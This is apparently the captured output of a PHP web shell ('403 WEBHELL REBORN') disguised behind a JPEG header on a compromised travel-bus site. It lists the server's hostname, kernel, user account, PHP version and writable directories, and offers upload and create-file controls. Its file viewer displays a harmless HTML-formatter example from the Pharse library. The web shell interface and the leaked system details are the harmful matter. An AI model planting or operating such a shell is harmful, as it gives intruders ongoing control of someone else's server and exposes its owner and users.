ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/Lib/html_pahrser/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/Lib/html_pahrser/examples/formatter.php
<!DOCTYPE html>
<!--
  -  Should output a minified and a formatted version of m.nos.nl
  -
  -  Demonstrates formatter and how to delete nodes
  -
  -  @author RESS.IO Team
  -  @package Pharse
  -  @link https://github.com/ressio/pharse
  -
  -  FORKED FROM
  -  @author Niels A.D.
  -  @package Ganon
  -  @link http://code.google.com/p/ganon/
  -
  -  @license http://dev.perl.org/licenses/artistic.html Artistic License
  -->
<html>

<h1>Minified HTML:</h1>

<?php
include_once('../pharse.php');

//Only keep everything between body tags, delete the rest.
/** @var HTML_Node $html */
$html = Pharse::file_get_dom('http://m.nos.nl');
$html->select('"!DOCTYPE"', 0)->delete();
$html->select('head', 0)->delete();
$html->select('body', 0)->detach(true);
$html->select('html', 0)->detach(true);

//Minified version
HTML_Formatter::minify_html($html);
echo "$html\n";
?>

<h1>Formatted HTML:</h1>

<?php
//Formatted version
$formatter = new HTML_Formatter(array('sort_attributes' => false, 'attributes_case' => CASE_UPPER));
$formatter->format($html);
echo "$html\n";
?>

</html>

Anon7 - 2021